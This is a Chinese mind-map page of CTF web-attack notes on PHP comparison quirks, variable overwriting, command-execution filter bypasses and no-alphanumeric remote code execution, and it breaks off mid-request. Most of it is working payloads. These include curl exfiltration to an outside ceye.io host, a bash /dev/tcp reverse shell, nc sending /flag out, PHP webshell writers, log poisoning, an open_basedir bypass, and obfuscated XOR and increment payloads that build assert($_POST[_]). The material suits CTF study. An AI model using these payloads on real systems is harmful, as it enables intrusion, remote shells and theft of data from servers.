导图社区 网络安全CTF总体思路
这是一篇关于网络安全的思维导图,主要内容包括:综合渗透,CTF夺旗,AWD(攻击与防御)。
编辑于2025-03-15 11:33:23网络安全
综合渗透
前期信息收集
数据库
操作系统
web
渗透中
免杀
提权
web
SQL注入
后渗透
CTF夺旗
内容类型
WEB
http基础
X-Forwarded-For
通常被代理服务器(如负载均衡器、反向代理服务器等)用来表示 HTTP 请求的原始发起 IP 地址
另一种写法
client-ip: 127.0.0.1
User-Agent
Referer
主要用于让服务器判断来源页面,即用户是从哪个页面来的
via: Clash.win
设置代理,代理服务器为Clash.win
比较漏洞
变量比较
弱比较(==)
在比较值类型不同时会做转换
强比较(===)
先比较类型,再比较值
MD5比较漏洞
MD5加密后有可能会产生0e开头的结果例如'0e2342342132234',在进行弱比较时,会认为此值为0*10^n,即为0,从而绕过验证
常见MD5加密后为0e开头的字符串为:QNKCDZO、s878926199a、s155964671a、s214587387a、s214587387a、s878926199a、s1091221200a、s1885207154a、s1502113478a、s1885207154a、s1885207154a、s1836677006a、240610708、314282422
MD5()函数不能处理数组,会返回Null,从而绕过验证
遇到数组返回Null的函数还有:sha1()/strlen()/strcmp()/strpos()
sha1()
aaO8zKZF以及aaK1STfY
一个变量与自身的MD5值进行比较if($c ==md5($c))
$c=0e215962017
SQL中的比较md5
payload
ffifdyop
在进行===强比较时,则不能进行绕过,可以通过工具生成两个MD5值一样的文件
工具:fastcoll
命令
fastcoll.exe -o 1.x 2.x
同时需要传一个文件方法是将该文件变为url编码
payload
<?php echourlencode(file_get_contents('./f2')) ?>
举例
题目
分析
param1和pararm2可通过数组进行绕过,但a1和a2使用string强制转换,不能使用数组绕过,需要上传两个MD5值一样的文件
payload
GET传
param1[]=1¶m2[]=3
POST传
a1=%7Eb%846%86%AB%EB%A6%1D%ED%26%94%16%5E%03K0%E1%5C%EE%AF%5B%D5%17T%8A%3A%8EL%A4%B3%B8%1B%EE%BC%EE%E0%23%EA%5E%8F%3E%D7%A4%082%AD%11%9D%7D%C4%5DD%04%F6%B53%F0%F18a%29%81%8FG0%A1EBF%F5%DC%0F%90%85AM%0C7%0F%7E%DF%C4a%0B%06%26%9F%CB%1A%FE%BB%EC%07%FE%E7%E8%5C%A6%95%F4J%08%40j%7EA%EF%D2%7C%CB%EC%1B%AE%A5%84%80%BF-%A1%08%A4%3C%22%5E%7B%A1%D1&a2=%7Eb%846%86%AB%EB%A6%1D%ED%26%94%16%5E%03K0%E1%5Cn%AF%5B%D5%17T%8A%3A%8EL%A4%B3%B8%1B%EE%BC%EE%E0%23%EA%5E%8F%3E%D7%A4%08%B2%AD%11%9D%7D%C4%5DD%04%F6%B53%F0%F1%B8a%29%81%8FG0%A1EBF%F5%DC%0F%90%85AM%0C7%0F%7E%DF%C4%E1%0B%06%26%9F%CB%1A%FE%BB%EC%07%FE%E7%E8%5C%A6%95%F4J%08%40j%7EA%EF%D2%FC%CA%EC%1B%AE%A5%84%80%BF-%A1%08%A4%3C%A2%5E%7B%A1%D1
进制比较
在验证特定数字时,但输入值又不允许是数字时,可以考虑将输入值转化为其它进制数进行绕过
要比较一个十进制数字是否相等,同时还要十进制数字没有1-9,就要转换成16进制,或其它进制
举例
题目
分析
比较password输入的字符是否与3735929054一致,同时password的值中还不能出现1-9,所以考虑转换成其它进制,从而绕过数字检测
payload
?password=0xDEADC0DE
hash长度扩展攻击
函数缺陷 (php特性)
intval()
功能:获取变量的整数值,首先获取整数部分,无整数部分返回0
123abc,返回123
abc,返回0
123.456,返回123
true返回1
可使用小数绕过
也可使用16进制数绕过
0xcca
也可使用8进制数绕过
010574
零
strcmp()
不能处理数组,返回Null
使用此函数时,若一个参数为数组,另一个参数为字符串,则返回结果为Null
strcasecmp()
不能处理数组,返回Null
ereg()
功能:用正则匹配,存在Null截断漏洞,读取字符串时遇到%00,则%00后的字符串将会绕过正则匹配
is_numeric()
功能:判断是否为数字
使用数组+16进制数绕过
使用%20绕过,只能放在数值后
16进制数也可以绕过
使用小数绕过
使用不可见字符绕过
使用%00绕过
%07~%20之间都可以尝试
举例
payload
%0c36
绕过判断数字是否为36
str_replace(find,replace,string,count)
功能:替换目标字符,但只进行一轮
双写即可绕过
preg_match()
功能:匹配正则表达式,返回true/false。
在/m多行匹配时, 若字符串中出现%0a则会当作两行处理,从而实现绕过
例:preg_match('/^php$/im',$a)
不能处理数组,返回0
正则匹配时,可能出现栈溢出,溢出后返回FALSE,默认匹配长度10W
举例
分析
进行正则匹配时,通过打入很长的payload来进行绕过,超过匹配长度时会返回FALSE
payload
<?phpecho str_repeat('very', '250000').'36Dctfshow';//获得结果后POST发送,即可获得flag
urldecode ( string $str )
功能:url解码
发送请求时,浏览器会自动进行url解码, 但在后端代码中再次执行url解码,有可能产生绕过
例:发送?id = 1%2527-->php接收到为$id=1%27 如果在执行$id=urldecode($id)--->$id=1’
array_search('aa',$b)
功能:在数组$b中查找字符串'aa',且这种比较为弱比较
在进行比较时,相当于'aa'==$b,假设$b为数字,则比较时会将'aa'转化为数字,若'aa'前有数字则转化为'aa'前的数字,若'aa'前没有数字,则转化为0
strpos()
功能:查找字符串首次出现的位置
例:strpos($num, "0")
意为返回“0”在$num中首次出现的位置
小数绕过
payload
4476.01
换行绕过
?num=4476%0a0
8进制数与换行绕过
%0a010574
in_array()
判断一个值是否在当前数组内,例:in_array($_GET['n'], $allow)意为:判断n传来的值是否在$allow这个数组内
绕过姿势
in_array()为弱比较类型,被判断的值为数字+字符串形式,并且参与判断的数据内容为数字时,比较时会忽略除数字的部分
以in_array($_GET['n'], $allow)为例,意为判断n的值是否在$allow这个数字数组内,如果n传来的是36.php则会忽略.php以36进行比较,从而绕过判断
运算符优先级问题
举例
关键点:$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
只会赋v1的值,所以只需要v1是数字即可
payload
直接打印$ctfshow这个变量即可
?v1=1&v2=var_dump($ctfshow)&v3=;
逻辑运算时需要注意优先级,优先级从高到低分别是: &&、||、AND、OR
类与反射类与内置类
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)
举例1
payload
v1=1&v2=echo new ReflectionClass&v3=;
举例2
payload
?v1=ReflectionClass&v2=system('ls')
FilesystemIterator()类可以用来遍历目录,需要一个路径参数
配合getcwd()获取当前工作目录 返回当前工作目录
举例
payload
?v1=FilesystemIterator&v2=getcwd
hex2bin()
功能:将16进制ascii码还原为二进制字符串,此字符串可直接打印,从而绕过payload要求为数字的限制
举例
题目中几个重要的php函数: substr() 字符串截取call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议根据上述条件分析,思路大概就是通过file_put_contents()函数来创建文件,文件中注入攻击代码即可payload: 参数分析: v1是调用方法v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)v3=php://filter/write=convert.base64-decode/resource=2.php v2:写进2.php的内容 ——> 查看当前页面源码;<?=cat *; ——> 转为base64为PD89YGNhdCAqYDs ——>转为16进制的ascii码为5044383959474e6864434171594473——>绕过截断,在前面随意加两位数字225044383959474e6864434171594473 v1:将数字字符串还原为base64码 ——> hex2bin
最终payload
POST:v1=hex2binGET:v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
执行的命令转16进制要恰好绕过is_numeric()其它的payload转完之后存在其它字母不能绕过数字检测所以只能用<?=cat *;
超全局变量 (变量覆盖多考虑)
$GLOBALS
此变量内保存所有全局变量,其中也包括$flag的值,如果在直接打印$flag值的情况下,可以选择打印此变量,从而间接获得$flag的值
举例
payload
?v1=ctfshow&v2=GLOBALS
特殊符号变量问题 (转下划线)
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。
举例
分析
此题关键点在于执行$c参数的值,但是有一个参数CTF_SHOW.COM命名并不符合规范,需要利用特性,将CTF_SHOW.COM转化为CTF[SHOW.COM因为CTF[SHOW.COM在经过POST传值后,[会自动转为_,但最重要的是,转化完之后会忽略其中的点号,从而绕过限制
payload
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
回调函数
功能:将一个函数作为参数传入另一个函数的函数
例:call_user_func、call_user_func_array、array_map
可写一句话木马
例:call_user_func('assert', $_REQUEST["pass"]);
意为:assert()函数直接作为回调函数,以$_REQUEST["pass"]作为assert参数调用
举例
分析
传值f1与f2相当于,执行f1这个函数,并且f2是f1这个函数的参数。在此题目中需要利用_()这个函数(_()相当于gettext()),再配合get_defined_vars()函数(返回由所有已定义变量所组成的数组)来获取$flag的值
payload
?f1=_&f2=get_defined_vars
使用回调函数调用类中函数
使用数组也可以调用类
举例
payload
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
payload
call_user_func(ctfshow::getFlag)
字符串中引入函数
welcome {${函数名()}}
变量覆盖
extract()
功能:使用数组键名作为变量名,使用数组键值作为变量值
当变量中有同名的元素时,该函数默认将原有的值给覆盖掉
extract('a'=>'abc']相当于$a='abc'
extract($_POST)
举例
分析
将$c的值赋为extract($_POST),并同时POST传值$fl0g=flag_give_me即可覆盖原$fl0g的值
payload
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())
文件包含也可以
CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]
parse_str()
功能:parse_str函数将字符串解析成多个变量,如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。
例: parse_str('a=123&b=456')相当于$a=123;$b=456
举例
分析
此题关键点在于extract($_POST)利用,即通过$_POST传值,使key1=36d和key2=36d,我们想要利用它,但还不能直接从POST传值,所以要利用@parse_str($_SERVER['QUERY_STRING']);这句,构造出$_POST[key1]=36d以及$_POST[key2]=36d,pares_str()可以造成变量覆盖,所以我们只需要传$_POST[key1]=36d&_POST[key2]=36d即可,此时在程序中可以得到$_POST[key1]=36d以及$_POST[key2]=36d,接下来extract()会把$_POST数组的值导入当前符号表,可以理解为给key1和key2赋值36d,即可获得flag
payload
_POST[key1]=36d&_POST[key2]=36d
$$
功能:$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用$GLOBALS(引用全局作用域中可用的全部变量)
例:$b='a'$$b相当于$b=$a
举例
分析:1、题目中的$suces这个变量并未进行过多限制 2、foreach后面的$$代表覆盖复制 3、按照顺序条件触发先覆盖GET,再覆盖POST。直接在GET中?suces=flag,此时的suces就是flag 4、根据POST条件直接不为flag即可,因为?suces=flag了,所以在POST中error=suces,即可绕过所有得到答案 payload: GET:URL/?suces=flag POST:error=suces
$_SERVER['argv'] (web下等同于$_SERVER['QUERY_STRING'])
功能
这个变量在cli和web下是不同的,在cli中$_SERVER['argv'][0]代表当前的文件名,$_SERVER['argv'][1~N]代表参数;在web中$_SERVER['argv'][0]代表从GET方法传来的值
举例
分析
因为$a=$_SERVER['argv'],所以$_SERVER['argv'][0]=$a[0],而且当前是在web条件下,$a[0]的值,将会是从GET方式传来的值,若GET传值?fl0g=flag_give_me,那么$a[0]=fl0g=flag_give_me,如此便可造成变量覆盖。此时可以通过$c来对$a[0]进行传值,再通过assert()函数执行字符串fl0g=flag_give_me,即可达成目的。
payload
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
正则POSIX字符组
三元运算符
举例
分析
如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag
payload
GET传a=1 POST传HTTP_FLAG=flag
用hackerbar传,BP可能不行
命令执行
多条指令连接
使用;或者||,或者&&
PHP中可于系统命令执行和代码的函数
system('whoami');
exec('whoami');
shell_exec('whoami');
可能无回显
passthru('whoami');
eval('system("whoami")');
可以执行多条代码,但需要用分号隔开
assert('system("whoami")');
只执行一条代码
echo `whoami`;
不用echo也一样能执行
print(`ls`)
匹配变量名
使用?
功能:匹配一个字符
例:cat可以用ca?
使用*
功能:匹配多个字符
例:cat /flag可以用cat /f*
使用[]
功能:匹配一个范围的字符,此方法需要了解取值范围,通过查看ascii表(manascii)
例:cat可以用ca[_-~]
子命令
功能:在一条命令下,使用子命令,可以执行除当前命令外的其它命令
在linux下形式
$( )
echo $(whoami)
` ` 反引号 (backtrace)
echo `whoami`
print(`ls`);
PHP可互相替换系统命令的函数
ls的平替
scandir()
功能:扫描目录
例:scandir('.')或scandir('./')扫描当前目录 scandir('../')扫描上一级目录
ll
等同于ls -l
dir
la
等同于ls -a
find ./ -name f*
在当前目录下查找f打头的文件
glob()
功能:扫描目录
注意需要配合可以打印的函数
var_dump()
例:glob('./*')扫描当前目录glob('../*')扫描上一级目录
cat 可用以下函数平替
file_get_contents('/etc/hosts')
include('/etc/hosts')
require('/etc/hosts')
readfile('/etc/hosts')
show_source('/etc/hosts')
highlight_file('/etc/hosts')
tac|nl|more|less|head|sort|tail|sed|cut|awk|strings|grep|uniq|sort|file -f|bash -v
伪协议
php://input
功能:在php程序中没有明显的命令执行函数时,只有文件路径读取函数(例:include())时,使用php://input通过POST传值(值来自于请求体中)进行命令执行
条件:allow_url_include=on, allow_url_fopen是否开启无关紧要
例:通过GET传file=php://input再通过POST传值,<?php system("cat /flag");?>
data://
功能:与php://input类似,但传值的数据来自于自身。data://可以写为data:
条件:allow_url_include=on, allow_url_fopen=on必须全开
例:通过GET传值file=data:text/plain,<?php system("cat /flag");?>
通过base64编码绕过:file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==
上传一句话木马
data://text/plain,<?php file_put_contents('1.php', '<?php eval($_POST[cmd]);?>');?>
命令执行中的文件读取
在即可以执行php代码,但又无法直接catflag的情况下使用
列目录 (在PHP环境下)
print_r(glob("*"));//列当前目录
print_r(glob("/*"));//列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
命令执行中的绕过
过滤分隔符
条件:命令之间不允许存在空格或一些分隔符
具体
绕过空格
$IFS 绕过
$IFS9
<或<>
%20或%09---%0F 绕过
{ls,/} 绕过
fla''g绕过
无回显,但可以执行命令
解决:1.在当前路径下touch 1.txt文件。2. 执行命令并将结果写入1.txt文件:ls>1.txt。3.然后读取1.txt,获得结果。
在上述方法无法写入结果的情况下,可以将目标文件内容直接复制到1.txt中
cp /f* 1.txt
绕过分号
使用文件包含的方法进行绕过
payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其中?>代替分号,页面会显示flag.php内容的base64编码,解码即可获取flag
注意include去括号也可以用
<?=include'/etc/hosts'?>
日志注入
payload
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
通过php://input绕过
payload
GET:?c=include$_GET[1]?>&1=php://input
POST:<?php system('tac flag.php');?>
写一句话
GET:?c=include$_GET[1]?>&1=php://input
POST:<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
绕过[]
使用{}代替[]
过滤关键字
替换
例:cat命令可由其它命令替换
tac|nl|more|less|head|sort|tail|sed|cut|awk|strings|grep|uniq|sort|file -f|bash -v
绕过/
${PATH:0:1}
其中${PATH:0:1}等效于/可以参与命令执行
使用函数end(getenv())
返回/
绕过点号 .
使用current(localeconv())
返回 .
转义
例:在过滤cat的情况下,可添加\来绕过
c\at进行绕过,\a为无效转义,所以转义的结果为空,c\at被还原为cat
例:可通过添加单引号或双引号来实现绕过
ca''t或c""at
拼接
原理:将目标分开传值,在服务器上合并执行
例:b=ag;a=fl;cat $a$b
使用无效变量
原理:在命令中间插入无效变量,不影响命令执行
例:ca$9t,因为变量$9未定义,所以可以认为是空,ca$9t被还原为cat执行
正则表达式绕过
例:/usr/bin/ca? 相当于cat命令
payload
/usr/bin/ca? /flag
base64绕过
`echo 'Y2F0Cg==' | base64 -d`
是一种方法,但不推荐使用
目标变量如果在eval内,直接传?a=eval($_GET[cmd]);&cmd=system('ls');
无回显
使用 || 或#将后半部分影响回显的命令屏蔽掉
注意
在使用||时,若||前方命令执行成功,则||后面的命令不会执行
如果||无法使用,则考虑将结果写到文件的办法
使用>1.txt可以绕过||
如果写入文件的办法也没有用,则可以使用CP命令或mv命令将flag直接复制到1.txt中
举例
题目
curl/wget外带数据
原理:curl一个网址时,将命令回显加入user-agent中,然后在外网的HTTP调试网站上查看信息。
外带数据网站
ceye.io
例:curl http://bl52wx.ceye.io -A `ls /|base64` 将ls /的结果进行base64编码可获得完整的结果,否则只能获得一行数据
反弹shell
例:服务端:nc -u 192.168.2.23 5060 < /flag 客户端:nc -ulp 5060
将/flag信息发送到192.168.2.23的5060UDP端口上,客户端起监听接收数据
-u使用UDP协议,-l为监听模式,-p为指定端口
kali:nc -lvp 9000目标主机:bash -c "bash -i &>/dev/tcp/192.168.3.128/9000 0>&1 2>&1"
192.168.3.128替换为kali当前IP地址
原理:将/flag文件内的数据发送到公网服务器上,然后从公网服务器上查看信息
>或tee,输出为文件
思路
将执行结果输出为一个文件,再进行查看
payload
ls />1.txt
将结果输出至文件1.txt中
system('ls />1.txt');
ls /|tee 1
将结果输出至文件1中
无参绕过
payload的规范为:a(b(c()))
原理:使用相关无参数函数进行绕过
使用getallheaders()函数
原理:通过 php中的getallheaders()函数可以取出http请求头中的所有参数,除了那些固定的参数之后,你还可以新增加值,作为命令执行的参数,比如payload: id,由于getallheaders()取出的结果是一个数组,且payload在此数组末尾,所以使用end(getallheaders())就可以取出payload。此时传值system(end(getallheaders()));即可命令执行
举例
题目
payload
GET传值system(end(getallheaders()));
GET /?code=system(end(getallheaders())); HTTP/1.1 Host: 117.62.234.74:8327 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 payload: id
使用get_defined_vars()函数
原理:get_defined_vars()函数取出的是数组,其内容包含,http请求中的GET的值,POST的值,COOKIE的值,FILES的值,理论上在这些参数中都可以命令,但在无参RCE中取出值的条件比较苛刻,只能取最前面和最后面的值,大多数取最前面的值,即GET请求的值
payload
?code=system(end(current(get_defined_vars())));&x=id
分析:使用current(get_defined_vars()取出GET请求中的值,再加上end()即可取出x=id的值,即id外面套system()从而执行命令,x可以控制命令。x在执行带空格的命令时需要将空格转为%20
长度绕过
原理:在同一个文件夹下创建两个文件一个文件名为ls,另一个文件为flag.txt,此时,在此文件夹下打开命令行输入*则会将这两个文件的名称当作命令来执行,即ls flag.txt。那么如果创建一个文件,使用>ls来创建。
举例
题目
payload
先传一个>nl,然后再传*。(nl和cat一样)
注意查看结果可能需要通过查看源代码查看
第二种方法
举例
分析
通过在GET方式中传入$F自身的方式进行变量覆盖。简单来说,传?F=`$F`;+任意命令的形式,即可执行任意命令,只不过不能直接显示,需要外带
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令 **那为什么会这样?** 因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数 这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。 而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是 ``$F`;+sleep 3`,就执行成功 这里可能有点绕,慢慢理解
payload
?F=`$F`;+curl http://bl52wx.ceye.io -A `cat flag.php|grep flag`
无字母、数字绕过
异或
思路1:将明文与特定字符异或得到纯可视符号的payload
具体实现
目标字符:assert($_POST[_])
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST$___=$$__; //$___=$_POST$_($___[_]);//assert($_POST[_]);
放到一排就是:$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
思路2:将明文与反引号异或得到不可见ascii码,payload需要进行url编码使之在发送到服务器之前变得可见,再进行或运算还原成明文。
脚本
<?php$flag="'getFlag()'";//RCEpayload明文$key="`";//反引号对大多数可见字母可用,对符号不可用,异或完是可见字符的概率很大$encrypted="";for ($i=0; $i <strlen($flag) ; $i++) { //$encrypted .= chr(ord($flag[$i]) ^ ord($key)); $encrypted = chr(ord($flag[$i]) ^ ord($key)); print($flag[$i].'='.$encrypted."---还原使用\$_=".urlencode($encrypted)."^".urlencode($key)); echo "\r\n";}//echo urlencode($encrypted);?>
取反
原理,将数字,字母取反后获得不可见字符,从而实现绕过
脚本
<?php$flag=urlencode(~("'getFlag()'"));echo $flag;?>
将结果再次取反从而还原命令
还原操作
~(密文)
自增
原理
举例
payload
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
相当于assert($_POST[_]);
使用时,post请求_=phpinfo(); 以验证是否成功RCE
直接写入木马_=file_put_contents("1.php","<?php eval($_POST['shell']); ?>");
如果设置了open_basedir,绕过open_basedir:_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
URL编码 (实测成功)
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
上传临时文件 (同时可绕过$和_)
举例
题目
分析
思路:POST上传一个文件,其内容为要执行的命令,因为没有接收文件的函数,该文件会保存至/tmp文件夹下,并以"phpXXXXXX"命名,然后想办法在GET的参数中执行/tmp/phpXXXXXX中的命令。具体原理是:shell下可以利用.(点号)来执行任意脚本,使用符号进行匹配,/tmp/phpXXXXXX可以使用/???/?????????来匹配,但问号有可能匹配到很多其它的文件,经过观察发现phpXXXXXX中包含大写字母,所以对大写字母进行范围匹配,故得出/???/????????[@-[],它表示ascii码@-[之间的值,恰好是大写字母的范围。然后使用反引号代替eval,进行命令执行。 故得出payload=`. /???/????????[@-[]`使用?>闭合前面的<?php,然后使用<?php ?>的另一种写法,得出最终payload=?><?=`. /???/????????[@-[]` ?>
构造上传请求
使用curl和NC
payload
Content-Type: multipart/form-data; boundary=---------------------------50572533318130 Content-Length: 308 -----------------------------50572533318130 Content-Disposition: form-data; name="fileUpload"; filename="1.txt" Content-Type: text/plain #!/bin/sh id -----------------------------50572533318130 Content-Disposition: form-data; name="submit" upload -----------------------------50572533318130--
使用html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简单文件上传页面</title> </head> <body> <h1>文件上传</h1> <form action="http://4485580e.clsadp.com/" method="post" enctype="multipart/form-data"> <label for="fileUpload">选择文件:</label> <input type="file" id="fileUpload" name="fileUpload"> <input type="submit" value="upload" name="submit"> </form> <p>注意: 这个HTML页面只是一个前端界面,用于选择文件并提交到服务器。你需要一个服务器端的脚本来处理文件的上传和存储。上面的<code>action</code>属性应指向你的服务器脚本,比如<code>your-server-side-script.php</code>。</p> </body> </html>
注意:上传临时文件之后执行时存在条件竞争,需要不停地发送POST请求以执行。
payload
命令执行函数是eval的情况下使用第一种
第一种
?><?=`. /???/????????[@-[]`;?>
url
?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>
命令执行函数是system的情况下使用第二种
第二种
. /???/????????[@-[]
完整BP的POST请求,换IP即可利用
POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host: 363dd453-2c02-4c36-ae7f-485c3b52f613.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Dnt: 1 Upgrade-Insecure-Requests: 1 Connection: close Content-Type: multipart/form-data; boundary=---------------------------50572533318130 Content-Length: 308 -----------------------------50572533318130 Content-Disposition: form-data; name="fileUpload"; filename="1.txt" Content-Type: 